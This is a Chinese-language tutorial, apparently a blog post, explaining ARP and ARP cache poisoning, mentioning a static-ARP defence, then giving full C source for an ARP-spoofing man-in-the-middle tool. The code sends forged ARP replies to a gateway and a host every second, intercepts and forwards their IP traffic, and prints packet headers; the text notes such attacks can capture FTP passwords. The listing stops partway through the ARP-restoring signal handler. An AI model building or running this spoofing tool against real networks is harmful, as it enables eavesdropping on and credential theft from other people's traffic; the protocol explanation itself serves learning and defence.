ARP即地址解析协议,用于处理主机之间获取MAC地址与IP地址的映射问题。
若主机A和主机B通讯。当A主机网络层数据交给数据链路层时,数据就被数据链路层封装为MAC帧,MAC帧需要知道目的主机B的MAC地址。于是在目的B的MAC未知的情况下,A主机数据链路层会向局域网广播一个ARP广播,广播的内容类似于"请问ip地址为aaaa的主机是谁,
请告诉我(IP bbbb,MAC bbbbbb)你的MAC地址",以寻求目的主机的MAC地址,目的主机收到ARP请求报文后,若发现是询问自己的硬件地
址,那么该主机首先会将源主机的MAC-IP记录在自己的ARP告诉缓存表中,然后向请求主机发送一份ARP单播应答报文,内容类似于"我是
aaaa,我的MAC是aaaaaa"。源主机A收到应答后遍得到了B的硬件地址,于是将B的MAC-IP存入自己的ARP高速缓存中,以便下次使用,然后
主机A用该硬件地址填充数据帧的相应部分,再将该帧数据发送出去。
这便是一个描述ARP协议的大致过程,其细节后面的文章会讲解。
关于ARP缓存更新的条件,前面一篇《ARP缓存表的更新条件》已经介绍过。本文接下来介绍的是一种基于ARP协议的局域网监听技术。
主机在接收到请求或者应答的时候都可能添加或者更新ARP条目,若通过给目的主机发送错误的ARP请求或者应答那么目的主机将会保存
着错误的ARP条目,这样一来,将会导致目的主机的通讯受阻甚至被发送到错误的主机上,ARP欺骗攻击由此而来。ARP欺骗的手段有很多,有的可以使某一台计算机无法上网,或者整个局域网的主机都无法上网,有的可以截获用户密码,如FTP用户名与口令,有的可以DNS劫持,用户访问的网站域名被重定向到一个钓鱼网站等等。
ARP攻击的危害性很大,目前为止没有一个完美的解决方案来处理ARP攻击,但是当您发现自己被攻击时,如主机与网关断开了,则可以通过一条简单的命令来恢复上网,即设置静态ARP条目:
arp -s x.x.x.x xx:xx:xx:xx:xx:xx
x.x.x.x是网关IP,xx:xx:xx:xx:xx:xx是网关mac地址,静态的arp条目是不会被更新的。
下面这个程序演示了通过给网关G和局域网内一台主机A发送错误的ARP请求或者应答报文,使之保存错误的ARP条目,二者之间的流量被重定位到另一台主机B,该主机可以分析网关G与主机A的数据,从而实现数据监听。该程序还能转发网关与主机A之间的数据,使二者之间的通讯不中断。
/* 声明:
* 本程序使用Linux原始套接字,抓取数据链路层数据帧,实现监听截获局域网内两台主机之间或者局域
* 网内一台主机与网关之间的通讯,并实现数据转发功能,主要用于网络抓包技术及网络通讯协议的学习、实践。
* 您可以自由的使用,复制,修改和重新发布程序的源代码,但不提倡用于非法目的,如将本程序完善以用用盗
* 取密码等机密信息。因非法使用本程序源码造成的后果,您应该独立承担法律责任。
* 作者:Shifang Wen
* 邮箱:772148609@qq.com
* 最后修改时间:2014.6.11
*/
#makefile for listener.
main:main.o arp.o ip.o tcp.o udp.o
cc -lpthread -o main main.o arp.o ip.o tcp.o udp.o
main.o:main.c header.h ip.h tcp.h udp.h
cc -c main.c
arp.o:arp.c header.h
cc -Wall -c arp.c
ip.o:ip.c header.h ip.h
cc -Wall -c ip.c
tcp.o:tcp.c header.h tcp.h
cc -Wall -c tcp.c
udp.o:udp.c header.h udp.h
cc -Wall -c udp.c
clean:
rm *.o
/** header file for main.c
* this file include the system header file neccessarily.
* 2014.5.25
*/
#ifndef _HEADER_FILE
#define _HEADER_FILE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <error.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <linux/tcp.h>
#include <netpacket/packet.h>
#include <net/if_arp.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <pthread.h>
#include <signal.h>
#endif
/*
* header file for ip.c
* 2014.5.16
*/
#ifndef _IP_H
#define _IP_H
struct _ip // IP报头结构(字节顺序为小端)
{
unsigned char ihl:4; // 首部长度
unsigned char version:4; // 协议版本
unsigned char ser_type; // 服务类型
unsigned short total_len; // 总长度
unsigned short id; // 分段标识
unsigned short frag_off; // 分段偏移
unsigned char ttl; // 生存时间
unsigned char protocol; // 上层协议
unsigned short check; // 检验和
unsigned char saddr[4]; // 源IP
unsigned char daddr[4]; // 目的IP
}__attribute__((packed));
extern void print_ip_header(const struct _ip* ptr_ip);
#endif
/**
* source file ip.c,provide some moth to print ip header info.
* 2014.5.29
*/
#include "header.h"
#include "ip.h"
/**
* 打印 IP 包头部字段
* 参数表:
* ip 指向ip首部的指针
* 返回值:无
*/
void print_ip_header(const struct _ip * ip)
{
printf("-----ip header-----------------------------\n");
printf("ip version :%x\n",ip->version);
printf("ip header len :%x\n",ip->ihl);
printf("ip total_len :%u\n",ntohs(ip->total_len));
printf("id :%u\n",ntohs(ip->id));
printf("protocol :%u\n",ip->protocol);
printf("check :%u\n",ip->check);
printf("%d.%d.%d.%d ----> ",ip->saddr[0],ip->saddr[1],ip->saddr[2],ip->saddr[3]);
printf("%d.%d.%d.%d.\n",ip->daddr[0],ip->daddr[1],ip->daddr[2],ip->daddr[3]);
}
/**
* 声明一个函数,该函数用户打印arp数据帧的各个字段值。
* 2014.6.6
*/
#ifndef _ARP_H
#include "header.h"
#define arpsha arp->arp_sha
#define arpspa arp->arp_spa
#define arptha arp->arp_tha
#define arptpa arp->arp_tpa
extern void print_arp_packet(const struct ether_arp*);
#endif
/**
* 定义一个函数,该函数用户打印arp数据帧的各个字段值。
* 2014.6.6
*/
#include "header.h"
#include "arp.h"
void print_arp_packet(const struct ether_arp * arp)
{
printf("----arp packet--------------------\n");
printf("arp ar_hdr : %u\n",ntohs(arp->ea_hdr.ar_hrd));
printf("arp ar_pro : %.4x\n",ntohs(arp->ea_hdr.ar_pro));
printf("arp ar_hln : %u\n",arp->ea_hdr.ar_hln);
printf("arp ar_pln : %u\n",arp->ea_hdr.ar_pln);
printf("arp ar_op_type : %.2x\n",ntohs(arp->ea_hdr.ar_op));
printf("arp sha : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arpsha[0],arpsha[1],arpsha[2],arpsha[3],arpsha[4],arpsha[5]);
printf("arp spa : %d.%d.%d.%d\n",arpspa[0],arpspa[1],arpspa[2],arpspa[3]);
printf("arp tha : %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",arptha[0],arptha[1],arptha[2],arptha[3],arptha[4],arptha[5]);
printf("arp tpa : %d.%d.%d.%d\n",arptpa[0],arptpa[1],arptpa[2],arptpa[3]);
}
/**
* headar file for udp.c
* 2014.5.28
*/
#ifndef _UDP_H
#define _UDP_H
struct _udp
{
unsigned short source_port; // 16位源端口
unsigned short dest_port; // 16位目的端口
unsigned short packet_len; // 16位报文长度
unsigned short check_sum; // 16位检验和
}__attribute__((packed));
extern void print_udp_header(const struct _udp * ptrdup);
#endif
/**
* source file .
* 2014.5.28
*/
#include "header.h"
#include "udp.h"
void print_udp_header(const struct _udp* ptrudp)
{
printf("----udp header----\n");
printf("source port :%u\n",ntohs(ptrudp->source_port));
printf("dest port :%u\n",ntohs(ptrudp->dest_port));
printf("packet_len :%u\n",ntohs(ptrudp->packet_len));
printf("check_sum :%u\n",ntohs(ptrudp->check_sum));
}
/*
* header file that define tcp protocol header.
* 2014.5.20
*/
#ifndef _TCP_H
#define _TCP_H
struct _tcp
{
unsigned short source_p; // 16位源端口
unsigned short dest_p; // 16位目的端口
unsigned int seq; // 32位序列列号
unsigned int ack_seq; // 32位确认号
unsigned short res1:4; // 4位保留
unsigned short h_length:4; // 4位首部长度
unsigned short fin:1; // 释放TCP连接位
unsigned short syn:1; // 同步序号,用于发起连接
unsigned short rst:1; // 重置或者拒绝一个连接
unsigned short psh:1; // 若被置位则数据立即交付,无需缓冲
unsigned short ack:1; // 若被置一表明ack_seq有效
unsigned short urg:1; // 若被置一表明紧急指针有效
unsigned short res:2; // 2位保留位
unsigned short window; // 16位窗口大小
unsigned short check; // 16位TCP报文检验和
unsigned short urg_ptr; // 16位紧急指针
}__attribute__((packed));
extern void print_tcp_header(const struct _tcp *tcp);
#endif
/**
* source tcp.h
* use to print tcp header structure.
* 2014.5.26
*/
#include "header.h"
#include "tcp.h"
void print_tcp_header(const struct _tcp *tcp)
{
printf("-----tcp header----------------\n");
printf("source port :%u\n",ntohs(tcp->source_p));
printf("destinator port :%u\n",ntohs(tcp->dest_p));
printf("seq :%u\n",ntohl(tcp->seq));
printf("ack_seq :%u\n",ntohl(tcp->ack_seq));
printf("header length :%u\n",tcp->h_length);
printf("urg :%u\n",tcp->urg);
printf("ack :%u\n",tcp->ack);
printf("psh :%u\n",tcp->psh);
printf("rst :%u\n",tcp->rst);
printf("syn :%u\n",tcp->syn);
printf("fin :%u\n",tcp->fin);
printf("window :%u\n",ntohs(tcp->window));
printf("check :%u\n",ntohs(tcp->check));
printf("urg_ptr :%u\n",ntohs(tcp->urg_ptr));
}
/**
* 程序主文件。
*/
#include "header.h" // 必要系统头文件
#include "arp.h" // 自定义ARP头文件
#include "ip.h" // 自定义IP头文件
#include "tcp.h" // 自定义TCP头文件
#include "udp.h" // 自定义UDP头文件
#define ETHER_BUF_LEN 60 // 不含CRC的以太网最小帧长度
#define BUFLEN 1500 // MTU
#define INTER_LEN 32 // 存放网络接口卡名称的缓冲区长度值
#define ethd eth->ether_dhost // struct ether_header结构成员宏定义
#define eths eth->ether_shost
#define _DEBUG 1 // 调试
/**
* 线程参数结构
*/
struct thread_args{
unsigned char interface_name[INTER_LEN]; // 网络接口名称
unsigned char target_ip1[17]; // 目标机1的点分十进制的ip字串
unsigned char target_ip2[17]; // 目标机2的点分十进制的ip字串
unsigned char target_mac1[ETH_ALEN]; // 目标机1的mac地址
unsigned char target_mac2[ETH_ALEN]; // 目标机2的mac地址
};
/**
* 函数参数结构
*/
struct args{
unsigned char src_mac[ETH_ALEN]; // 源mac
unsigned char src_ip[4]; // 源IP
unsigned char dst_ip[4]; // 目的IP
};
/**
* 全局变量,主要是信号处理函数使用。
*/
unsigned char global_mac1[6],global_mac2[6],global_ip1[17],global_ip2[17];
unsigned char ifname[64];
int thread_stop = 0;
/**
* struct ether_arp结构字段宏定义,简化访问。
*/
#define arpsha arp->arp_sha
#define arpspa arp->arp_spa
#define arptha arp->arp_tha
#define arptpa arp->arp_tpa
/**
* 打印以太网帧头部字段。
* 参数表:
* buffer;指向以太网帧首部的指针。
* 返回值:无。
* 2014.5.26
*/
void print_ether_header(const char *buffer)
{
struct ether_header *eth = (struct ether_header*) buffer;
printf("-----ether frame header-------------\n");
printf("ether_header dst mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
printf("ether_header src mac: %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
printf("ether_header type: %.4x\n",ntohs(eth->ether_type));
}
/**
* 功能:查看接收到的报文是否是arp报文,且是对本次请求的应答报文。
* 参数表:
* args_ptr:包含本地地址信息。
* arp: 存放接收到的arp报文缓冲区指针。
* 返回值:若匹配,返回0,不匹配返回-1.
* 2014.6.11
*/
int arp_match(struct args*args_ptr,unsigned char *buffer)
{
struct ether_header * eth = (struct ether_header*) buffer;
struct ether_arp *arp = (struct ether_arp*)(buffer+sizeof(struct ether_header));
if((ntohs(eth->ether_type) == 0x0806) && (ntohs(arp->ea_hdr.ar_op) == ARPOP_REPLY)){
if((memcmp(args_ptr->src_mac,arp->arp_tha,ETH_ALEN) == 0)
&&(memcmp(args_ptr->src_ip,arp->arp_tpa,4) == 0)
&&(arp->ea_hdr.ar_op == htons(ARPOP_REPLY))){
#ifdef _DEBUG
printf("match sucessful\n");
#endif
return 0;
}
}
return -1;
}
/**
* 发送arp请求获取目标主机的mac地址。
* 参数表:
* net_dev_name:网络接口名称。
* remote_ip:要获取mac地址的主机ip地址。
* remote_mac:出口参数,若函数成功,该参数被赋值。
* 返回值:0成功,-1失败。
*/
int get_mac_by_ip(char *net_dev_name,char *remote_ip,char *remote_mac)
{
int sockfd,num;
unsigned char sendbuffer[ETHER_BUF_LEN];
unsigned char recvbuffer[ETHER_BUF_LEN];
struct sockaddr_ll to;
struct ifreq ifr;
struct in_addr local_addr,target_addr;
struct args arg;
struct timeval timeout;
timeout.tv_usec = 0;
timeout.tv_sec = 1;
struct ether_header * eth = (struct ether_header *) sendbuffer;
struct ether_arp * arp = (struct ether_arp *) (sendbuffer + sizeof(struct ether_header));
struct ether_header * ethr = (struct ether_header*) recvbuffer;
struct ether_arp * arpr = (struct ether_arp*) (recvbuffer + sizeof(struct ether_header));
unsigned char src_mac[ETH_ALEN];
unsigned char dst_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};
bzero(&to,sizeof(to));
bzero(&ifr,sizeof(ifr));
bzero(&local_addr,sizeof(local_addr));
bzero(&target_addr,sizeof(target_addr));
strcpy(ifr.ifr_name,net_dev_name);
sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ARP));
if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){
perror("get dev index error");
exit(1);
}
/**
*设置接收超时为1秒
*/
if(setsockopt(sockfd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(timeout)) == -1){
perror("setsockopt error");
exit(1);
}
to.sll_ifindex = ifr.ifr_ifindex;
bind(sockfd,(struct sockaddr*)& to,sizeof(to));
if(ioctl(sockfd,SIOCGIFADDR,&ifr) == -1){
perror("get dev ip error");
exit(1);
}
local_addr.s_addr = ((struct sockaddr_in*)&(ifr.ifr_addr))->sin_addr.s_addr;
inet_pton(AF_INET,remote_ip,&(target_addr.s_addr));
printf("target ip :%s\n",inet_ntoa(target_addr));
printf("local ip address %s\n",inet_ntoa(local_addr));
if(ioctl(sockfd,SIOCGIFHWADDR,&ifr) == -1){
perror("get dev mac error");
exit(1);
}
memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
bind(sockfd,(struct sockaddr*)&to,sizeof(to));
/**
* 构造arp 请求包
*/
memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
memcpy(eth->ether_shost,src_mac,ETH_ALEN);
eth->ether_type = htons(ETHERTYPE_ARP);
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REQUEST);
memcpy(arp->arp_sha,src_mac,ETH_ALEN);
memcpy(arp->arp_spa,&local_addr,4);
memset(dst_mac,0,ETH_ALEN);
memcpy(arp->arp_tha,dst_mac,ETH_ALEN);
memcpy(arp->arp_tpa,&target_addr,4);
/**
* 初始化一个参数结构体成员
*/
memcpy(&arg.src_mac,src_mac,ETH_ALEN);
memcpy(&arg.src_ip,&local_addr,4);
memcpy(&arg.dst_ip,&target_addr,4);
int count = 0,recv_try = 0,found = 0;
/**
* 最多尝试十次发送ARP请求报文.
*/
while(count < 10 && found != 1){
print_ether_header(sendbuffer);
print_arp_packet((struct ether_arp*)(sendbuffer+sizeof(struct ether_header)));
num = sendto(sockfd,sendbuffer,ETHER_BUF_LEN,0,(struct sockaddr*)&to,sizeof(to));
if(num < 0){
perror("send error");
return 1;
}
else
printf("send num = %d count = %d\n",num,count);
/**
* 最多尝试5次接收报文,若5次接收的报文不是对应的应答包,则继续发送ARP请求包。
*/
while(recv_try < 5){
num = recvfrom(sockfd,recvbuffer,ETHER_BUF_LEN,0,NULL,NULL);
if(num < 0){
perror("recv error");
recv_try ++;
continue;
}else
printf("received %d byte(s) ,recv_try is %d\n",num,recv_try);
printf("ether_frame header-----------\n");
printf("ether dst mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
ethr->ether_dhost[0],ethr->ether_dhost[1],ethr->ether_dhost[2],\
ethr->ether_dhost[3],ethr->ether_dhost[4],ethr->ether_dhost[5]);
printf("ether src mac:%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
ethr->ether_shost[0],ethr->ether_shost[1],ethr->ether_shost[2],\
ethr->ether_shost[3],ethr->ether_shost[4],ethr->ether_shost[5]);
printf("ether type :%.4x\n",ntohs(ethr->ether_type));
print_arp_packet((struct ether_arp*)(recvbuffer+sizeof(struct ether_header)));
if(arp_match(&arg,recvbuffer) == 0){
memcpy(remote_mac,arpr->arp_sha,ETH_ALEN);
count++;
/**
* 尝试多次请求应答,测试程序的稳定性.
*/
found = 1;
break;
}
recv_try++;
}
count++;
recv_try = 0;
}
close(sockfd);
if(found == 1)
return 0;
return -1;
}
/**
* 线程体,定时向目标IP发送 ARP 欺骗的应答报文。
* 参数表:struct thread_args结构提指针。
* 返回值:无。
* 2014.5.24
*/
void *thread_attack(void* args)
{
struct thread_args * p = (struct thread_args*) args;
int socketfd,n;
struct sockaddr_ll toaddr;
struct in_addr sockaddr;
struct ifreq ifr;
unsigned char buffer[ETHER_BUF_LEN];
unsigned char src_mac[ETH_ALEN];
struct in_addr in_addr1,in_addr2;
struct ether_header * eth = (struct ether_header*) buffer;
struct ether_arp * arp = (struct ether_arp*) (buffer+sizeof(struct ether_header));
bzero(&toaddr,sizeof(toaddr));
bzero(&sockaddr,sizeof(sockaddr));
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name,p->interface_name);
bzero(&in_addr1,sizeof(in_addr1));
bzero(&in_addr2,sizeof(in_addr2));
inet_pton(AF_INET,p->target_ip1,&in_addr1);
inet_pton(AF_INET,p->target_ip2,&in_addr2);
socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(socketfd == -1){
perror("thread_attack create socket error");
exit(1);
}
if(ioctl(socketfd,SIOCGIFINDEX,&ifr) == -1){
perror("get interface index error");
exit(1);
}
toaddr.sll_ifindex = ifr.ifr_ifindex;
toaddr.sll_family = PF_PACKET;
if(ioctl(socketfd,SIOCGIFHWADDR,&ifr) == -1){
perror("get interface hardware addr error");
exit(1);
}
memcpy(src_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
while(thread_stop != 1){
/**
* 构造以太网头,目标MAC地址为目标主机1的MAC地址,源MAC地址为本机MAC地址。
*/
memcpy(eth->ether_dhost,p->target_mac1,ETH_ALEN);
memcpy(eth->ether_shost,src_mac,ETH_ALEN);
eth->ether_type = htons(ETHERTYPE_ARP);
/**
* 构造ARP 包
*/
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REPLY);
memcpy(arp->arp_sha,src_mac,ETH_ALEN);
memcpy(arp->arp_spa,&in_addr2,4);
memcpy(arp->arp_tha,p->target_mac1,ETH_ALEN);
memcpy(arp->arp_tpa,&in_addr1,4);
/**
* 发送到目标机1
*/
n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
if(n < 0){
perror("sendto");
}else{
printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr1));
}
/**
* 调试代码
*/
/*
printf("打印欺骗ARP包:\n");
print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));
*/
/**
* 构造以太网头,目标MAC地址为目标主机2的MAC地址,源MAC地址为本机MAC地址。
*/
memcpy(eth->ether_dhost,p->target_mac2,ETH_ALEN);
memcpy(eth->ether_shost,src_mac,ETH_ALEN);
eth->ether_type = htons(ETHERTYPE_ARP);
/**
* 构造ARP 包
*/
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REPLY);
memcpy(arp->arp_sha,src_mac,ETH_ALEN);
memcpy(arp->arp_spa,&in_addr1,4);
memcpy(arp->arp_tha,p->target_mac2,ETH_ALEN);
memcpy(arp->arp_tpa,&in_addr2,4);
/**
* 发送到目标机2
*/
n = sendto(socketfd,buffer,ETHER_BUF_LEN,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
if(n < 0){
perror("sendto");
}else{
printf("sendto a attack pakcet to %s\n",inet_ntoa(in_addr2));
}
/**
* 调试代码
*/
/*
printf("打印欺骗ARP包:\n");
print_arp_packet((struct ether_arp*)(buffer+sizeof(struct ether_header)));
*/
sleep(1);
}
printf("攻击线程以停止。。。+++++++++++++++++++++++++++++++++++++++++++++。\n");
}
/**
* 数据包转发函数,根据源MAC,目的MAC向指定接口转发该数据包。
* 参数表:
* inter:指定的网络接口。
* dst_mac:目的MAC地址。
* ip_data:ip数据。
* send_num:数据包长度。
* 返回值:成功0,失败-1。
*/
int packet_forwarding(const char *inter,char *dst_mac,const char *ip_data,const int send_num)
{
char buffer[BUFLEN] = {0};
int sendfd,num;
struct sockaddr_ll toaddr;
struct ifreq ifr;
struct ether_header * eth = (struct ether_header*) buffer; /* 指针eth指向以太网首部 */
memcpy(buffer,ip_data,send_num);
unsigned char local_mac[ETH_ALEN];
static unsigned int count = 0;
static unsigned int total_bytes = 0;
bzero(&toaddr,sizeof(toaddr));
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name,inter);
sendfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP));
if(sendfd == -1){
perror("packet_forwarding create socket error");
exit (1);
}
if(ioctl(sendfd,SIOCGIFINDEX,&ifr) == -1){
perror("packet_forwarding get interface index error");
exit (1);
}
toaddr.sll_ifindex = ifr.ifr_ifindex;
if(ioctl(sendfd,SIOCGIFHWADDR,&ifr) == -1){
perror("packet_forwarding get interface hardware error");
exit(1);
}
memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
toaddr.sll_family = AF_PACKET;
/**
* 修改以太网帧头部目的MAC和源MAC两个字段。
*/
memcpy(eth->ether_dhost,dst_mac,ETH_ALEN);
memcpy(eth->ether_shost,local_mac,ETH_ALEN);
/**
* 转发IP数据包
*/
printf("打印转发包数据:\n");
print_ether_header(buffer);
print_ip_header((struct _ip *) (buffer+sizeof(struct ether_header)));
if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0x06)
print_tcp_header((struct _tcp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));
if(((struct _ip*) (buffer+sizeof(struct ether_header)))->protocol == 0xa1)
print_udp_header((struct _udp*)(buffer+sizeof(struct ether_header) + sizeof(struct _ip)));
num = sendto(sendfd,buffer,send_num,0,(struct sockaddr*)&toaddr,sizeof(toaddr));
if(num <= 0){
perror("packet_forwarding sendto error");
return -1;
}
total_bytes += num;
printf("+++++++++++++++++++++++++++++++++++++ packet_forwarding ip packet %d byte(s),"\
"total %u packet(s),and %u byte(s)\n",num,++count,total_bytes);
close(sendfd);
return 0;
}
/**
* 监听函数,用于截获目标机之间的IP数据报,并调用相关函数执行转发。
* 参数表:
* interface_name:网络接口名。
* target_ip1:目标主机1 IP地址。
* target_ip2:目标主机2 IP地址。
* mac1:目标主机1 mac地址。
* mac2:目标主机2 mac地址。
* 返回值:无。
*/
int attack_listen(const char *interface_name,char *target_ip1,char *target_ip2,unsigned char *mac1,unsigned char*mac2)
{
int listenfd,num;
struct sockaddr_ll fromaddr;
struct in_addr sockaddr;
struct ifreq ifr;
unsigned char buffer[BUFLEN];
struct ether_header * eth = (struct ether_header*) buffer;
struct _ip * ip = (struct _ip*) (buffer+sizeof(struct ether_header));
struct in_addr in_addr1,in_addr2,in_addr_local;
unsigned char local_mac[ETH_ALEN]={0};
bzero(&fromaddr,sizeof(struct sockaddr_ll));
bzero(&sockaddr,sizeof(sockaddr));
bzero(&ifr,sizeof(ifr));
strcpy(ifr.ifr_name,interface_name);
bzero(&in_addr1,sizeof(in_addr1));
bzero(&in_addr2,sizeof(in_addr2));
inet_pton(AF_INET,target_ip1,&in_addr1);
inet_pton(AF_INET,target_ip2,&in_addr2);
listenfd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_IP));
if(listenfd == -1){
perror("thread_attack create socket error");
exit(1);
}
if(ioctl(listenfd,SIOCGIFINDEX,&ifr) == -1){
perror("get interface index error");
exit(1);
}
if(ioctl(listenfd,SIOCGIFHWADDR,&ifr) == -1){
perror("get interface hardware error");
exit(1);
}
memcpy(local_mac,ifr.ifr_hwaddr.sa_data,ETH_ALEN);
if(ioctl(listenfd,SIOCGIFADDR,&ifr) == -1){
perror("get interface addr error");
exit(1);
}
in_addr_local.s_addr = ((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr.s_addr;
fromaddr.sll_ifindex = ifr.ifr_ifindex;
fromaddr.sll_family = PF_PACKET;
fromaddr.sll_protocol = htons(ETH_P_IP);
fromaddr.sll_hatype = ARPHRD_ETHER;
fromaddr.sll_pkttype = PACKET_HOST;
fromaddr.sll_halen = ETH_ALEN;
bind(listenfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));
printf("\n");
while(1){
memset(buffer,0,BUFLEN);
num = recvfrom(listenfd,buffer,BUFLEN,0,NULL,NULL);
/*printf("\nread %d bytes------------------\n",num);
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x--->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
printf(" %.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
printf("type %.4x\n",ntohs(eth->ether_type));*/
if(ntohs(eth->ether_type) == 0x0800){
/*
* 若接收到一个目的mac地址为本机, 源mac是主机一或者主机2,且目的IP不是本机的数据包,则,转发它。
*/
if((memcmp(ethd,local_mac,ETH_ALEN) == 0) && (memcmp(ip->daddr,&in_addr_local,4) != 0)){
if(memcmp(eths,mac1,ETH_ALEN) == 0 ){
printf("+++++++++++++++++++++++++++++++++++++++++ ");
printf("need to transfer a packet.!\n");
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
packet_forwarding(interface_name,mac2,buffer,num);
}
if(memcmp(eths,mac2,ETH_ALEN) == 0){
printf("+++++++++++++++++++++++++++++++++++++++++ ");
printf("need to transfer a packet.!\n");
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ---->",eths[0],eths[1],eths[2],eths[3],eths[4],eths[5]);
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x:\n",ethd[0],ethd[1],ethd[2],ethd[3],ethd[4],ethd[5]);
packet_forwarding(interface_name,mac1,buffer,num);
}
}else
printf("needless forwarding this packet------------------\n");
}
}
return 0;
}
/**
* SIGINT 信号处理函数,处理键盘Ctrl+C组合键。
* 当按下Ctrl+C时,需要恢复两台目标主机正确的ARP缓存表,然后再退出本程序。
* 说明,两种方式恢复,一是使用应答方式,二是是用请求方式,程序使用应答
* 方式,但该函数没有成功,目标机没能更新到正确ARP缓存,尚未确定问题所在。
* 2014.6.5
*/
void quit_handler(int signum)
{
int sockfd;
struct sockaddr_ll toaddr;
struct ifreq ifr;
unsigned char buffer1[ETHER_BUF_LEN] = {0};
unsigned char buffer2[ETHER_BUF_LEN] = {0};
struct in_addr in_addr1,in_addr2;
bzero(&toaddr,sizeof(toaddr));
bzero(&ifr,sizeof(ifr));
bzero(&in_addr1,sizeof(in_addr1));
bzero(&in_addr2,sizeof(in_addr2));
inet_pton(AF_INET,global_ip1,&in_addr1);
inet_pton(AF_INET,global_ip2,&in_addr2);
strcpy(ifr.ifr_name,ifname);
sockfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if(sockfd == -1){
perror("socket error");
exit (1);
}
if(ioctl(sockfd,SIOCGIFINDEX,&ifr) == -1){
perror("quit_handler get interface index error");
exit (1);
}
toaddr.sll_ifindex = ifr.ifr_ifindex;
toaddr.sll_family = PF_PACKET;
toaddr.sll_protocol = htons(ETH_P_ARP);
toaddr.sll_hatype = ARPHRD_ETHER;
toaddr.sll_pkttype = PACKET_HOST;
toaddr.sll_halen = ETH_ALEN;
if(bind(sockfd,(struct sockaddr*)&toaddr,sizeof(toaddr)) == -1){
perror("bind error");
exit(1);
}
/**
* 构造第一个arp报文
*/
struct ether_header * eth = (struct ether_header*) buffer1;
struct ether_arp *arp = (struct ether_arp*) (buffer1 + sizeof(struct ether_header));
unsigned char ff_mac[]={0xff,0xff,0xff,0xff,0xff,0xff};
unsigned char zero_mac[] = {0x00,0x00,0x00,0x00,0x00,0x00};
/**
* 构造以太网头部,目标mac为主机1的mac,源mac为主机2的mac,即恢复主机1的arp缓存表。
*/
memcpy(eth->ether_dhost,global_mac1,ETH_ALEN);
memcpy(eth->ether_shost,global_mac2,ETH_ALEN);
eth->ether_type = htons(ETHERTYPE_ARP);
/**
* 构造arp各个数据字段。
*/
arp->arp_hrd = htons(ARPHRD_ETHER);
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_hln = ETH_ALEN;
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REPLY);
memcpy(arp->arp_sha,global_mac2,ETH_ALEN);
memcpy(arp->arp_spa,&in_addr2,4);
memcpy(arp->arp_tha,global_mac1,ETH_ALEN);
memcpy(arp->arp_tpa,&in_addr1,4);
/**
* 构造第二个arp报文
*/
eth = (struct ether_header*) buffer2;
arp = (struct ether_arp*) (buffer2 + sizeof(struct ether_header));
/**
* 构造以太网头部,目标mac为主机2的mac,源mac为主机1的mac,即恢复主机2的缓存表。
*/
//memcpy(eth->ether_dhost,global_mac2,ETH_ALEN);
memcpy(eth->ether_dhost,ff_mac,ETH_ALEN);
memcpy(eth->ether_shost,global_mac1,ETH_ALEN);
eth->ether_type = htons(ETHERTYPE_ARP);
/**
* 构造arp各个数据字段。
*/
arp->arp_hrd = htons(ARPHRD_ETHER);
